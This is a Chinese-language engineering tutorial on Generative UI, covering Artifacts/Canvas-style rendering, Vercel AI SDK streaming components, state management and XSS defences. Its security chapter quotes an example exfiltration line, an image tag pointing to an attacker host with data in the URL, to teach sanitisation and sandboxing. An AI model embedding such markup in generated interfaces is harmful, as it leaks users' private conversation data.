Generative UI
AI 不再只输出文字,它能生成可交互的界面。这是 2025-2026 年最重要的 AI 应用形态变革。本篇讲清楚 Generative UI 的工程模式、各家方案差异、安全风险、实战代码。
学前说明
5-1(AI 产品 UX 设计模式)讲了 AI 产品的 UX 思考。本篇讲下一步:AI 不只是辅助 UI,AI 直接是 UI 的一部分。
三个真实例子:
例 1:用户问天气,AI 不返回"今天 23 度"的文字,返回一个可交互的天气卡片(带温度图、未来 7 天预报)。
例 2:用户让 Claude 写一篇博客,Claude 在右侧"Artifacts"面板里实时渲染 markdown 预览,可以编辑、复制、下载。
例 3:用户让 ChatGPT 帮忙写代码,ChatGPT 在 Canvas 里展示可编辑的代码 + 实时运行结果。
这些不是"生成 HTML 字符串"那么简单。涉及组件化、状态管理、流式渲染、安全。
学习目标
- 理解 Generative UI 的演进(从 markdown 到组件到 Canvas)
- 用 Vercel AI SDK 实现 React Server Component + AI 流
- 实现类似 Artifacts / Canvas 的工程模式
- 处理流式 UI 渲染(生成时局部更新)
- 防御 AI 生成内容的 XSS / 注入风险
- 评估什么场景该用 Generative UI
与现有知识的衔接
- 5-1 AI 产品 UX:UX 视角(前置)
- 12 Streaming 工程深度:流式渲染(前置)
- 04 Lethal Trifecta:渲染 AI 输出的安全风险
- 01 Context Engineering:UI 状态作为上下文
第一章:Generative UI 的演进
1.1 三代演进
Gen 1: 纯文本(2022-2023)
→ AI 输出 plain text
Gen 2: 富文本(2023-2024)
→ AI 输出 Markdown
→ Client 渲染(支持代码块、表格、图片)
Gen 3: 结构化 UI(2024-2025)
→ AI 输出组件描述(JSON 或专门格式)
→ Client 渲染成 React/Vue 组件
Gen 4: 可交互 UI(2025-2026)
→ AI 输出完整应用片段
→ 实时运行、可编辑、有状态
1.2 关键产品
Claude Artifacts(2024-06,Anthropic):
- 在对话中创建独立"工件"
- 支持 markdown、code、HTML、SVG、React
- 实时渲染 + 可编辑 + 可复用
ChatGPT Canvas(2024-10,OpenAI):
- 把文档/代码放到右侧画布
- 支持选中部分让 AI 改
- 类似 Google Docs 的协作模式
Vercel AI SDK Generative UI(2024 中期,2026 主流):
- 后端 LLM 返回 React 组件
- 流式传到前端
- 完全集成 React Server Components
v0 / bolt.new / GitHub Spark:
- 极端形态:用 prompt 生成完整应用(参考 16)
1.3 为什么重要
- 信息密度高:图表 > 文字
- 可交互:用户能改、能玩
- 降低写代码门槛:产品经理用 prompt 生成 dashboard
- 个性化:每个用户看到为他生成的界面
- AI 应用的"原生形态":不是 chat 套界面,是界面就是 AI
第二章:Generative UI 的技术模式
2.1 五种实现模式
| 模式 | 说明 | 例子 |
|---|---|---|
| 模式 A:Markdown | AI 输出 Markdown,Client 渲染 | ChatGPT 默认 |
| 模式 B:结构化数据 + 模板 | AI 输出 JSON,Client 渲染预定义模板 | 天气卡片、产品卡片 |
| 模式 C:组件 DSL | AI 输出组件描述语言 | 早期 ChatGPT Plugin UI |
| 模式 D:直接 React/HTML | AI 直接生成 JSX/HTML 字符串 | Claude Artifacts |
| 模式 E:Server Components Streaming | AI 在服务端生成 React Server Components | Vercel AI SDK |
2.2 模式对比
| 维度 | A | B | C | D | E |
|---|---|---|---|---|---|
| 灵活性 | 低 | 中 | 中 | 高 | 极高 |
| 安全性 | 高 | 高 | 中 | 低 | 中 |
| 性能 | 高 | 高 | 中 | 中 | 中 |
| AI 难度 | 极低 | 低 | 中 | 高 | 高 |
| 开发难度 | 极低 | 低 | 中 | 中 | 高 |
| 适合 | 文字回答 | 标准数据展示 | 简单交互 | 创意展示 | 复杂应用 |
2.3 选型决策
你的场景 →
纯文字回答?
用 Markdown(模式 A)
展示标准化数据(天气、产品、订单)?
用结构化数据 + 模板(模式 B)
需要复杂自定义 UI?
自己控制后端?
用 Server Components Streaming(模式 E)
不能改后端?
用 React/HTML(模式 D)+ 沙箱
第三章:模式 B 实战:结构化数据 + 模板
最常用、最稳定的模式。AI 通过 Tool Call 返回结构化数据,前端渲染预定义模板。
3.1 Tool 设计
// 后端:定义一组"UI Tool"
const uiTools = [
{
name: 'display_weather',
description: '展示天气卡片',
input_schema: {
type: 'object',
properties: {
city: { type: 'string' },
temperature: { type: 'number' },
condition: { enum: ['sunny', 'cloudy', 'rainy', 'snowy'] },
forecast: {
type: 'array',
items: {
type: 'object',
properties: {
day: { type: 'string' },
high: { type: 'number' },
low: { type: 'number' },
}
}
}
},
required: ['city', 'temperature', 'condition']
}
},
{
name: 'display_product_card',
description: '展示产品卡片',
input_schema: { /* ... */ }
},
// ...
];
3.2 前端渲染
// React 客户端
function ChatMessage({ message }: { message: Message }) {
if (message.role === 'tool_result') {
const tool = message.toolName;
const data = message.data;
switch (tool) {
case 'display_weather':
return <WeatherCard {...data} />;
case 'display_product_card':
return <ProductCard {...data} />;
default:
return <pre>{JSON.stringify(data)}</pre>;
}
}
return <Markdown>{message.content}</Markdown>;
}
function WeatherCard({ city, temperature, condition, forecast }: WeatherData) {
return (
<div className="weather-card">
<h3>{city}</h3>
<div className="temp">{temperature}°</div>
<ConditionIcon type={condition} />
<Forecast items={forecast} />
</div>
);
}
3.3 优点
- 安全:所有 UI 是你写的,AI 只填数据
- 品牌一致:所有卡片样式统一
- 性能好:组件可预编译、可缓存
- AI 简单:只生成 JSON,不写代码
3.4 缺点
- 僵化:需要新 UI 必须先编码
- 覆盖不全:用户问的内容可能没有对应模板
3.5 适合场景
- 客服 / 信息助手(标准化展示)
- 产品推荐
- 数据 dashboard(固定指标)
- 工具集成(每个工具一个 UI)
第四章:模式 E 实战:Vercel AI SDK Generative UI
Vercel 2024 推出,2026 年成熟。让后端 AI 直接返回 React Server Components,流式渲染。
4.1 基本原理
关键:AI 在服务端调用工具,工具返回 React 组件,组件流式传到客户端。
4.2 服务端代码
// app/actions.ts (Server Action)
'use server';
import { streamUI } from 'ai/rsc';
import { anthropic } from '@ai-sdk/anthropic';
import { WeatherCard } from '@/components/WeatherCard';
import { LoadingCard } from '@/components/LoadingCard';
export async function chat(userMessage: string) {
const result = await streamUI({
model: anthropic('claude-sonnet-4-5'),
prompt: userMessage,
text: ({ content }) => <div>{content}</div>,
tools: {
getWeather: {
description: '获取天气信息',
parameters: z.object({ city: z.string() }),
generate: async function* ({ city }) {
// 先显示加载
yield <LoadingCard />;
// 调真实 API
const weather = await fetchWeather(city);
// 返回最终组件
return <WeatherCard {...weather} />;
}
},
showProductCarousel: {
description: '展示产品轮播',
parameters: z.object({ keyword: z.string() }),
generate: async function* ({ keyword }) {
yield <LoadingCard />;
const products = await searchProducts(keyword);
return <ProductCarousel products={products} />;
}
}
}
});
return result.value;
}
4.3 客户端代码
'use client';
import { useState } from 'react';
import { chat } from './actions';
export function Chat() {
const [messages, setMessages] = useState<ReactNode[]>([]);
const [input, setInput] = useState('');
async function handleSubmit() {
setMessages(prev => [...prev, <UserMessage>{input}</UserMessage>]);
const aiResponse = await chat(input);
setMessages(prev => [...prev, aiResponse]);
setInput('');
}
return (
<div>
{messages.map((msg, i) => <div key={i}>{msg}</div>)}
<input value={input} onChange={e => setInput(e.target.value)} />
<button onClick={handleSubmit}>Send</button>
</div>
);
}
4.4 为什么这样设计
- 服务端控制 UI:你写的组件、用你的数据
- 流式渲染:生成时就开始显示(loading → final)
- 类型安全:参数有 zod schema
- 无 hydration mismatch:RSC 直接给最终 markup
4.5 复杂例子:多组件协同
generate: async function* ({ city }) {
yield <LoadingCard />;
// 并行调几个 API
const [weather, news, events] = await Promise.all([
fetchWeather(city),
fetchLocalNews(city),
fetchEvents(city),
]);
// 返回组合 UI
return (
<div className="city-dashboard">
<WeatherCard {...weather} />
<NewsList items={news} />
<EventCalendar events={events} />
</div>
);
}
第五章:模式 D 实战:Artifacts / Canvas 风格
让 AI 直接生成 HTML/React/SVG 代码,独立面板渲染。最灵活但最危险。
5.1 架构
┌─────────────────────────────┐
│ 对话区(左侧) │
│ ├─ 用户消息 │
│ └─ AI 回复(含 artifact ref)│
├─────────────────────────────┤
│ Artifact 区(右侧) │
│ ├─ 代码 tab │
│ └─ 预览 tab │
└─────────────────────────────┘
5.2 协议设计
AI 通过特殊 tool call 创建 artifact:
const tools = [
{
name: 'create_artifact',
description: '创建独立可视化工件',
input_schema: {
type: 'object',
properties: {
type: { enum: ['html', 'react', 'svg', 'mermaid', 'markdown'] },
title: { type: 'string' },
content: { type: 'string' }, // 完整代码
}
}
},
{
name: 'update_artifact',
description: '更新已有 artifact',
input_schema: {
type: 'object',
properties: {
id: { type: 'string' },
content: { type: 'string' }
}
}
}
];
5.3 渲染:必须沙箱
直接 dangerouslySetInnerHTML AI 代码 = 灾难。必须 iframe 沙箱:
function ArtifactRenderer({ artifact }: { artifact: Artifact }) {
if (artifact.type === 'html' || artifact.type === 'react') {
return (
<iframe
sandbox="allow-scripts" // 允许 JS 但不允许其他
src={`/api/artifact/render/${artifact.id}`}
// 不要直接传 srcDoc,AI 代码可能含恶意
/>
);
}
if (artifact.type === 'svg') {
// SVG 也要净化
return (
<div dangerouslySetInnerHTML={{
__html: DOMPurify.sanitize(artifact.content)
}} />
);
}
if (artifact.type === 'markdown') {
return <Markdown content={artifact.content} />;
}
if (artifact.type === 'mermaid') {
return <MermaidDiagram code={artifact.content} />;
}
}
5.4 React Artifact 渲染
最复杂场景:AI 写 React 代码,要在客户端运行。
// 服务端:把 AI 写的 JSX 编译
import { transformSync } from '@babel/core';
app.get('/api/artifact/render/:id', async (req, res) => {
const artifact = await getArtifact(req.params.id);
// 编译 JSX → JS
const { code } = transformSync(artifact.content, {
presets: ['@babel/preset-react'],
});
// 返回完整 HTML 让 iframe 加载
res.send(`
<!DOCTYPE html>
<html>
<head>
<script src="https://unpkg.com/react@18/umd/react.production.min.js"></script>
<script src="https://unpkg.com/react-dom@18/umd/react-dom.production.min.js"></script>
<link rel="stylesheet" href="/artifact.css">
</head>
<body>
<div id="root"></div>
<script>
${code}
const root = ReactDOM.createRoot(document.getElementById('root'));
root.render(React.createElement(App));
</script>
</body>
</html>
`);
});
5.5 流式更新
AI 边写代码边渲染:
// SSE 推送增量代码
let buffer = '';
for await (const chunk of llmStream) {
if (chunk.type === 'tool_use_delta') {
buffer += chunk.partial_json;
// 尝试 partial parse
try {
const partial = parsePartialJson(buffer);
if (partial.content) {
// 推送增量代码到客户端
sse.send('artifact_update', {
id: artifactId,
partialContent: partial.content
});
}
} catch {/* 还不完整 */}
}
}
客户端边收边刷新 iframe(或用 hot reload)。
第六章:流式 UI 渲染
UI 生成是流式的。怎么让用户"看着它出现"而不是"等几秒一次性出来"?
6.1 不同模式的流式策略
模式 A(Markdown):
// 直接渲染部分 Markdown
<Streamdown>{partialContent}</Streamdown>
// streamdown 库专门处理半成品(未闭合的代码块等)
模式 B(结构化):
// 收到 partial JSON 时局部渲染
const partial = parsePartialJson(buffer);
if (partial.type === 'weather') {
return (
<WeatherCard
city={partial.city ?? '...'}
temperature={partial.temperature ?? 0}
condition={partial.condition ?? 'loading'}
// forecast 可能还没到
forecast={partial.forecast ?? []}
/>
);
}
需要组件支持"loading 状态"的 props。
模式 D/E(代码):
代码生成期间显示 loading 占位,完整后渲染:
{isStreaming ? <LoadingSpinner /> : <ArtifactRenderer artifact={artifact} />}
或者实时编译预览(高级,复杂):
// 用 Sucrase / esbuild 实时编译
useEffect(() => {
if (!isStreaming && hasContent) {
compileAndRender(content);
} else if (debouncedContent) {
// 节流:每 500ms 试编译一次
tryCompile(debouncedContent);
}
}, [content, isStreaming]);
6.2 加载占位设计
参考 5-1 第二章的流式 UX:
function ArtifactPlaceholder({ stage }: { stage: 'thinking' | 'writing' | 'rendering' }) {
return (
<div className="artifact-placeholder">
{stage === 'thinking' && <p>AI 正在思考...</p>}
{stage === 'writing' && (
<>
<p>AI 正在生成代码...</p>
<SkeletonCode />
</>
)}
{stage === 'rendering' && <p>正在渲染预览...</p>}
</div>
);
}
第七章:安全风险
Generative UI 是 AI 应用最大的安全雷区。AI 输出直接成为渲染内容 = XSS 攻击载体。
7.1 风险分级
| 模式 | 风险等级 | 主要威胁 |
|---|---|---|
| Markdown | 低 | markdown 内的链接、图片 src |
| 结构化模板 | 低 | 模板数据校验 |
| 组件 DSL | 中 | DSL 解析漏洞 |
| HTML/React | 极高 | XSS、数据外泄、恶意脚本 |
7.2 Markdown 渲染的注意点
// 不要:直接渲染含 <script> 的 markdown
<div dangerouslySetInnerHTML={{ __html: marked(content) }} /> // ❌
// 要:用 markdown 库 + 净化
import { marked } from 'marked';
import DOMPurify from 'isomorphic-dompurify';
const html = marked.parse(content);
const safe = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['p', 'h1', 'h2', 'h3', 'ul', 'ol', 'li', 'code', 'pre', 'a', 'strong', 'em'],
ALLOWED_ATTR: ['href', 'class'],
});
<div dangerouslySetInnerHTML={{ __html: safe }} />
特别注意:
- 图片 src(恶意 URL 可外发数据:
<img src="https://attacker.com/?data=...">) - 链接 href(
javascript:协议) - iframe(禁用)
7.3 React 组件渲染必须 iframe
直接渲染 AI 生成的 JSX 在你的 React app 里 = 灾难。
// ❌ 危险:AI JSX 在你的 React tree 里
<AICreatedComponent /> // 它能访问你的 context、调你的 API、读你的 cookies
// ✅ 安全:iframe 隔离
<iframe
sandbox="allow-scripts" // 不要 allow-same-origin!
src="/api/artifact/render/..."
/>
sandbox="allow-scripts" 关键属性:
- 允许执行 JS
- 但不给 same-origin(无法访问父页 cookies)
- 无法 top navigation
- 无法 form submit 到 parent
- 无 popup
7.4 Lethal Trifecta 在 Generative UI 中
Generative UI 完美命中 Trifecta:
- 私有数据:用户在对话里的所有内容
- 不可信内容:AI 生成的代码本身(可能被 prompt injection 控制)
- 外发能力:HTML 的
<img src>、<a href>、fetch()
防御:
// iframe sandbox 限制
sandbox="allow-scripts" // 不给网络?
// 或者:CSP
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; connect-src 'none'; img-src data: blob:;">
// 禁止任何外部请求
但完全禁止网络让交互式 UI 没法做(不能调 API)。权衡:
// 白名单
content="connect-src 'self' https://api.your-domain.com;"
只允许调你自己的 API,攻击者无法外发。
7.5 实战 Checklist
每个 Generative UI 实现必查:
- AI 输出经过 schema 验证(不是 raw 字符串)
- HTML/JSX 在 iframe sandbox 里渲染
- iframe 没有
allow-same-origin - CSP 限制网络到白名单
- markdown 用 DOMPurify 净化
- 图片 src 验证(不允许 data: 之外的特殊协议)
- 链接验证(http/https only)
- 不在 AI artifact 里渲染敏感数据(cookies、密钥)
- 用户能"举报"问题 artifact
- 审计日志(用户看过哪些 artifact)
第八章:状态管理
Generative UI 的特殊挑战:用户和 AI 都能改 UI 状态。
8.1 状态分类
User-controlled state(用户控制)
├── 输入框内容
├── 滚动位置
└── 表单填写
AI-controlled state(AI 控制)
├── 显示的组件
├── 组件内的数据
└── 组件的 props
Shared state(共享)
├── 当前 artifact 选中状态
├── 编辑模式 vs 预览模式
└── 历史记录
8.2 协调机制
// 用 Zustand 管理 generative UI 状态
import { create } from 'zustand';
interface UIState {
// AI 生成的所有 artifacts
artifacts: Map<string, Artifact>;
// 当前激活的 artifact
activeArtifactId: string | null;
// 用户输入
userEditing: Map<string, string>; // artifactId → user 改动
// 动作
createArtifact: (artifact: Artifact) => void;
updateArtifactFromAI: (id: string, content: string) => void;
updateArtifactFromUser: (id: string, content: string) => void;
// 冲突处理
mergeChanges: (id: string) => string;
}
const useUIStore = create<UIState>((set, get) => ({
artifacts: new Map(),
activeArtifactId: null,
userEditing: new Map(),
createArtifact: (artifact) => {
set(state => {
const m = new Map(state.artifacts);
m.set(artifact.id, artifact);
return { artifacts: m, activeArtifactId: artifact.id };
});
},
updateArtifactFromAI: (id, content) => {
// 如果用户在编辑,提示冲突
const userVersion = get().userEditing.get(id);
if (userVersion && userVersion !== get().artifacts.get(id)?.content) {
// 冲突:AI 想改,但用户也改了
promptConflictResolution(id);
return;
}
set(state => {
const m = new Map(state.artifacts);
const existing = m.get(id);
if (existing) {
m.set(id, { ...existing, content });
}
return { artifacts: m };
});
},
updateArtifactFromUser: (id, content) => {
set(state => {
const m = new Map(state.userEditing);
m.set(id, content);
return { userEditing: m };
});
},
}));
8.3 冲突场景
场景:AI 正在生成代码(流式),用户已经编辑了
对策:
- A. 锁定:AI 生成时禁止编辑
- B. 暂停:用户开始编辑,AI 停止流
- C. 询问:完成后弹"AI 想改这里,是否覆盖?"
ChatGPT Canvas 用 B,体验最自然。
第九章:实战例子
9.1 例:智能 Dashboard 生成
需求:用户用自然语言描述想看什么,AI 生成 dashboard。
// 后端
const tools = {
createDashboard: {
description: '创建数据 dashboard',
parameters: z.object({
title: z.string(),
widgets: z.array(z.object({
type: z.enum(['line_chart', 'bar_chart', 'kpi', 'table']),
title: z.string(),
dataSource: z.string(), // SQL or metric name
config: z.any(),
}))
}),
generate: async function* ({ title, widgets }) {
yield <DashboardSkeleton />;
// 并行 fetch 各 widget 数据
const widgetData = await Promise.all(
widgets.map(w => fetchData(w.dataSource, w.config))
);
return (
<Dashboard title={title}>
{widgets.map((w, i) => (
<Widget key={i} type={w.type} title={w.title} data={widgetData[i]} />
))}
</Dashboard>
);
}
}
};
用户:"给我看最近 30 天销售情况,按地区分布,对比同期"
AI 生成:
- 顶部 KPI:总销售、同比
- 中间:地区柱状图
- 底部:明细表
完全个性化,每个用户问不同的话出不同的 dashboard。
9.2 例:购物助手
// AI 推荐时返回可交互产品卡
const tools = {
recommendProducts: {
description: '推荐产品',
parameters: z.object({ query: z.string() }),
generate: async function* ({ query }) {
yield <LoadingProducts />;
const products = await searchProducts(query);
return (
<ProductCarousel>
{products.map(p => (
<ProductCard
key={p.id}
product={p}
onAddToCart={(id) => addToCart(id)} // 真实交互
onCompare={(id) => triggerCompare(id)}
/>
))}
</ProductCarousel>
);
}
}
};
不只是文字"推荐 iPhone 15",而是可点"加入购物车"、可"对比"的卡片。
9.3 例:教学助手
// 学生问数学题,AI 返回交互式解释
const tools = {
explainMath: {
parameters: z.object({
problem: z.string(),
steps: z.array(z.object({
title: z.string(),
equation: z.string(), // LaTeX
explanation: z.string(),
}))
}),
generate: async function* ({ problem, steps }) {
return (
<InteractiveMathExplanation
problem={problem}
steps={steps}
// 用户可点开/折叠每步
// 可点 "I'm stuck here" 让 AI 更详细
/>
);
}
},
createPracticeProblem: {
// AI 出练习题
parameters: z.object({
topic: z.string(),
difficulty: z.enum(['easy', 'medium', 'hard']),
}),
generate: async function* ({ topic, difficulty }) {
const problem = await generateProblem(topic, difficulty);
return (
<PracticeProblem
problem={problem}
onCheckAnswer={(ans) => checkAndExplain(problem, ans)}
/>
);
}
}
};
每个回答不只是文字,是可练习、可互动的教学组件。
第十章:踩坑总结
10.1 工程层
| 坑 | 后果 | 修正 |
|---|---|---|
| AI 输出直接 dangerouslySetInnerHTML | XSS | 用 DOMPurify |
| React artifact 不 iframe | 完整 XSS | iframe sandbox |
| 流式 partial JSON parse 抛错 | UI 卡 | 用 partial-json 库 |
| 同时大量 artifact 渲染 | 性能差 | 懒加载、虚拟列表 |
| 状态不一致 | 用户改的丢了 | 明确状态优先级 |
10.2 设计层
| 坑 | 表现 | 修正 |
|---|---|---|
| 凡事都 generative | UI 千差万别用户晕 | 标准化 + 必要时 generative |
| 不让用户编辑 | 用户失控感 | 提供"切回文字"开关 |
| 加载状态差 | "白屏" 几秒 | skeleton + 进度 |
| 无错误处理 | AI 生成错代码崩 UI | iframe + error boundary |
10.3 何时不该 Generative UI
| 场景 | 原因 |
|---|---|
| 高频固定 UI | 浪费 LLM 成本 |
| 严格品牌规范 | AI 难保证 |
| 隐私敏感(医疗、金融数据展示) | AI 错位风险高 |
| 老用户已熟悉的界面 | 改了反而不习惯 |
第十一章:未来方向
11.1 跨平台 Generative UI
不只 web。AI 生成的 UI 直接在 iOS / Android 渲染:
- React Native 服务端组件
- SwiftUI / Compose 的 DSL 表示
- 跨平台 schema
2026-2027 出现。
11.2 协同编辑
用户和 AI 同时改一个 artifact,类似 Google Docs 的 OT/CRDT:
- 字符级合并
- AI 看到用户在改什么
- 实时协作
Claude Artifacts 已经在这个方向。
11.3 持久化 UI
Generative UI 一次性显示太可惜。让 AI 生成的 UI 可"保存"成可复用工具:
用户:"帮我做个销售 dashboard"
AI:[生成 dashboard]
用户:"这个好用,每天 9 点给我看"
AI:[保存为 saved widget,加到 home screen]
类似 GPTs 的 UI 版本。
11.4 多模态 Generative UI
不只图表、表格。AI 生成:
- 3D 模型
- 动画
- 音视频组合
- WebXR / VR 场景
技术:WebGL + AI 编排。
权威资料
- Vercel AI SDK Generative UI
- Claude Artifacts 文档
- ChatGPT Canvas
- React Server Components
- DOMPurify
- Streamdown
- iframe sandbox MDN
- 5-1 AI 产品 UX 设计模式(前置)
- 12 Streaming 工程深度(前置)
- 04 Lethal Trifecta(安全前置)
核对日期:2026-06-12